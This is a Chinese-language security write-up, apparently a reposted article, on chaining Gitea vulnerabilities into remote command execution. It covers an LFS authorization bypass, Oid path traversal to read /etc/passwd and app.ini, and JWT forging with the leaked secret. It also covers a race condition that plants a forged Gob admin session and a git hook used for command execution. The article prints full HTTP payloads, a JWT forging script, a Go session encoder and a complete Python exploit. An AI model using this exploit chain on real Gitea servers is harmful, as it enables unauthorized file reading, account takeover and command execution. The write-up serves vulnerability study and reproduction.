您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“Go代碼審計中Gitea遠程命令執行漏洞有哪些”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“Go代碼審計中Gitea遠程命令執行漏洞有哪些”這篇文章吧。
這是本漏洞鏈的導火索,其出現在Git LFS的處理邏輯中。
Git LFS是Git為大文件設置的存儲容器,我們可以理解為,他將真正的文件存儲在git倉庫外,而git倉庫中只存儲了這個文件的索引(一個哈希值)。這樣,git objects和.git文件夾下其實是沒有這個文件的,這個文件儲存在git服務器上。gitea作為一個git服務器,也提供了LFS功能。
在 modules/lfs/server.go 文件中,PostHandler是POST請求的處理函數:
可見,其中間部分包含對權限的檢查:
if !authenticate(ctx, repository, rv.Authorization, true) { requireAuth(ctx)}
在沒有權限的情況下,僅執行了requireAuth函數:這個函數做了兩件事,一是寫入WWW-Authenticate頭,二是設置狀態碼為401。也就是說,在沒有權限的情況下,并沒有停止執行PostHandler函數。
所以,這里存在一處權限繞過漏洞。
這個權限繞過漏洞導致的后果是,未授權的任意用戶都可以為某個項目(后面都以vulhub/repo為例)創建一個Git LFS對象。
這個LFS對象可以通過http://example.com/vulhub/repo.git/info/lfs/objects/[oid]這樣的接口來訪問,比如下載、寫入內容等。其中[oid]是LFS對象的ID,通常來說是一個哈希,但gitea中并沒有限制這個ID允許包含的字符,這也是導致第二個漏洞的根本原因。
我們利用第一個漏洞,先發送一個數據包,創建一個Oid為....../../../etc/passwd的LFS對象:
POST /vulhub/repo.git/info/lfs/objects HTTP/1.1Host: your-ip:3000Accept-Encoding: gzip, deflateAccept: application/vnd.git-lfs+jsonAccept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 151{ "Oid": "....../../../etc/passwd", "Size": 1000000, "User" : "a", "Password" : "a", "Repo" : "a", "Authorization" : "a"}
其中,vulhub/repo是一個公開的項目。
也就是說,這個漏洞的利用是有條件的,第一個條件就是需要有一個公開項目。為什么呢?雖然“創建LFS對象”接口有權限繞過漏洞,但是“讀取這個對象所代表的文件”接口沒有漏洞,會先檢查你是否有權限訪問這個LFS對象所在的項目。只有公開項目才有權限讀取。
見下圖,發送數據包后,雖然返回了401狀態碼,但實際上這個LFS對象已經創建成功,且其Oid為....../../../etc/passwd。
第二步,就是訪問這個對象。訪問方法就是GET請求http://example.com/vulhub/repo.git/info/lfs/objects/[oid]/sth,oid就是剛才指定的,這里要用url編碼一下。
見下圖,/etc/passwd已被成功讀取:
那么,我們來看看為什么讀取到了/etc/passwd文件。
代碼 modules/lfs/content_store.go :
可見,meta.Oid被傳入transformKey函數,這個函數里,將Oid轉換成了key[0:2]/key[2:4]/key[4:]這樣的形式,前兩個、中間兩個字符做為目錄名,第四個字符以后的內容作為文件名。
那么,我創建的Oid為....../../../etc/passwd,在經過transformKey函數后就變成了../../../../../etc/passwd,s.BasePath是LFS對象的基礎目錄,二者拼接后自然就讀取到了/etc/passwd文件。
這就是第二個漏洞:目錄穿越。
vulhub/repo雖然是一個公開項目,但默認只有讀權限。我們需要進一步利用。
我們利用目錄穿越漏洞,可以讀取到gitea的配置文件。這個文件在$GITEA_CUSTOM/conf/app.ini,$GITEA_CUSTOM是gitea的根目錄,默認是/var/lib/gitea/,在vulhub里是/data/gitea。
所以,要從LFS的目錄跨越到$GITEA_CUSTOM/conf/app.ini,需要構造出的Oid是....gitea/conf/app.ini(經過轉換后就變成了/data/gitea/lfs/../../gitea/conf/app.ini,也就是/data/gitea/conf/app.ini。原漏洞作者給出的POC這一塊是有坑的,這個Oid需要根據不同$GITEA_CUSTOM的設置進行調整。)
成功讀取到配置文件(仍需先發送POST包創建Oid為....gitea/conf/app.ini的LFS對象):
配置文件中有很多敏感信息,如數據庫賬號密碼、一些Token等。如果是sqlite數據庫,我們甚至能直接下載之。當然,密碼加了salt。
Gitea中,LFS的接口是使用JWT認證,其加密密鑰就是配置文件中的LFS_JWT_SECRET。所以,這里我們就可以用來構造JWT認證,進而獲取LFS完整的讀寫權限。
我們用python來生成密文:
import jwtimport timeimport base64def decode_base64(data): missing_padding = len(data) % 4 if missing_padding != 0: data += '='* (4 - missing_padding) return base64.urlsafe_b64decode(data)jwt_secret = decode_base64('oUsPAAkeic6HaBMHPiTVHxTeCrEDc29sL6f0JuVp73c')public_user_id = 1public_repo_id = 1nbf = int(time.time())-(60*60*24*1000)exp = int(time.time())+(60*60*24*1000)token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': exp, 'nbf': nbf}, jwt_secret, algorithm='HS256')token = token.decode()print(token)
其中,jwt_secret是第二個漏洞中讀取到的密鑰;public_user_id是項目所有者的id,public_repo_id是項目id,這個項目指LFS所在的項目;nbf是指這個密文的開始時間,exp是這個密文的結束時間,只有當前時間處于這兩個值中時,這個密文才有效。
現在,我們能構造JWT的密文,即可訪問LFS中的寫入文件接口,也就是PutHandler。
PUT操作主要是如下代碼:
整個過程整理如下:
1.transformKey(meta.Oid) + .tmp 后綴作為臨時文件名
2.如果目錄不存在,則創建目錄
3.將用戶傳入的內容寫入臨時文件
4.如果文件大小和meta.Size不一致,則返回錯誤(meta.size是第一步中創建LFS時傳入的Size參數)
5.如果文件哈希和meta.Oid不一致,則返回錯誤
6.將臨時文件重命名為真正的文件名
因為我們需要寫入任意文件,所以Oid一定是能夠穿越到其他目錄的一個惡意字符串,而一個文件的哈希(sha256)卻只是一個HEX字符串。所以上面的第5步,一定會失敗導致退出,所以不可能執行到第6步。也就是說,我們只能寫入一個后綴是“.tmp”的臨時文件。
另外,作者用到了defer os.Remove(tmpPath)這個語法。在go語言中,defer代表函數返回時執行的操作,也就是說,不管函數是否返回錯誤,結束時都會刪除臨時文件。
所以,我們需要解決的是兩個問題:
1.能夠寫入一個.tmp為后綴的文件,怎么利用?
2.如何讓這個文件在利用成功之前不被刪除?
我們先思考第二個問題。漏洞發現者給出的方法是,利用條件競爭。
因為gitea中是用流式方法來讀取數據包,并將讀取到的內容寫入臨時文件,那么我們可以用流式HTTP方法,傳入我們需要寫入的文件內容,然后掛起HTTP連接。這時候,后端會一直等待我傳剩下的字符,在這個時間差內,Put函數是等待在io.Copy那個步驟的,當然也就不會刪除臨時文件了。
那么,思考第一個問題,.tmp為后綴的臨時文件,我們能做什么?
最簡單的,我們可以向/etc/cron.d/中寫入一個crontab配置文件,然后反彈獲取shell。但通常gitea不會運行在root權限,所以我們需要思考其他方法。
gitea使用go-macaron/session這個第三方模塊來管理session,默認使用文件作為session存儲容器。我們來閱讀go-macaron/session源碼:
這里面有幾個很重要的點:
1.session文件名為sid[0]/sid[1]/sid
2.對象被用Gob序列化后存入文件
Gob是Go語言獨有的序列化方法。我們可以編寫一段Go語言程序,來生成一段Gob編碼的session:
package mainimport ( "fmt" "encoding/gob" "bytes" "encoding/hex")func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gob.Register(v) } buf := bytes.NewBuffer(nil) err := gob.NewEncoder(buf).Encode(obj) return buf.Bytes(), err}func main() { var uid int64 = 1 obj := map[interface{}]interface{} {"_old_uid": "1", "uid": uid, "uname": "vulhub" } data, err := EncodeGob(obj) if err != nil { fmt.Println(err) } edata := hex.EncodeToString(data) fmt.Println(edata)}
其中,{"_old_iod": "1", "uid": uid, "uname": "vulhub" }就是session中的數據,uid是管理員id,uname是管理員用戶名。編譯并執行上述代碼,得到一串hex,就是偽造的數據。
原作者給出的POC是他生成好的一段二進制文件,uid和uname不能自定義。
接著,我寫了一個簡單的Python腳本來進行后續利用(需要Python3.6):
import requestsimport jwtimport timeimport base64import loggingimport sysimport jsonfrom urllib.parse import quotelogging.basicConfig(stream=sys.stdout, level=logging.DEBUG)BASE_URL = 'http://your-ip:3000/vulhub/repo'JWT_SECRET = 'AzDE6jvaOhh_u30cmkbEqmOdl8h44zOyxfqcieuAu9Y'USER_ID = 1REPO_ID = 1SESSION_ID = '11vulhub'SESSION_DATA = bytes.fromhex('0eff81040102ff82000110011000005cff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c08000676756c687562')def generate_token(): def decode_base64(data): missing_padding = len(data) % 4 if missing_padding != 0: data += '='* (4 - missing_padding) return base64.urlsafe_b64decode(data) nbf = int(time.time())-(60*60*24*1000) exp = int(time.time())+(60*60*24*1000) token = jwt.encode({'user': USER_ID, 'repo': REPO_ID, 'op': 'upload', 'exp': exp, 'nbf': nbf}, decode_base64(JWT_SECRET), algorithm='HS256') return token.decode()def gen_data(): yield SESSION_DATA time.sleep(300) yield b''OID = f'....gitea/sessions/{SESSION_ID[0]}/{SESSION_ID[1]}/{SESSION_ID}'response = requests.post(f'{BASE_URL}.git/info/lfs/objects', headers={ 'Accept': 'application/vnd.git-lfs+json'}, json={ "Oid": OID, "Size": 100000, "User" : "a", "Password" : "a", "Repo" : "a", "Authorization" : "a"})logging.info(response.text)response = requests.put(f"{BASE_URL}.git/info/lfs/objects/{quote(OID, safe='')}", data=gen_data(), headers={ 'Accept': 'application/vnd.git-lfs', 'Content-Type': 'application/vnd.git-lfs', 'Authorization': f'Bearer {generate_token()}' })
這個腳本會將偽造的SESSION數據發送,并等待300秒后才關閉連接。在這300秒中,服務器上將存在一個名為“11vulhub.tmp”的文件,這也是session id。
帶上這個session id,即可提升為管理員。
帶上i_like_gitea=11vulhub.tmp這個Cookie,我們即可訪問管理員賬戶。
然后隨便找個項目,在設置中配置Git鉤子。Git鉤子是執行git命令的時候,會被自動執行的一段腳本。比如我這里用的pre-receive鉤子,就是在commit之前會執行的腳本。我在其中加入待執行的命令touch /tmp/success:
然后在網頁端新建一個文件,點提交。進入docker容器,可見命令被成功執行:
整個漏洞鏈非常流暢,Go Web端的代碼審計也非常少見,在傳統漏洞越來越少的情況下,這些好思路將給安全研究者帶來很多不一樣的突破。
不過漏洞作者給出的POC實在是比較爛,基本離開了他自己的環境就不能用了,而且我也不建議用一鍵化的漏洞利用腳本來復現這個漏洞,原因是這個漏洞的利用涉及到一些不確定量,比如:
1.gitea的$GITEA_CUSTOM,這個值影響到讀取app.ini的那段POC
2.管理員的用戶名和ID,這個可能需要猜。但其實我們也沒必要必須偽造管理員的session,我們可以偽造任意一個用戶的session,然后進入網站后再找找看看有沒有管理員所創建的項目,如果有的話,就可以得知管理員的用戶名了。
另外,復現漏洞的時候也遇到過一些坑,比如gitea第一次安裝好,如果不重啟的話,他的session是存儲在內存里的。只有第一次重啟后,才會使用文件session,這一點需要注意。
如果目標系統使用的是sqlite做數據庫,我們可以直接下載其數據庫,并拿到他的密碼哈希和另一個隨機字符串,利用這兩個值其實能直接偽造管理員的cookie(名為gitea_incredible),這一點我就不寫了,大家可以自己查看文檔。
以上是“Go代碼審計中Gitea遠程命令執行漏洞有哪些”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。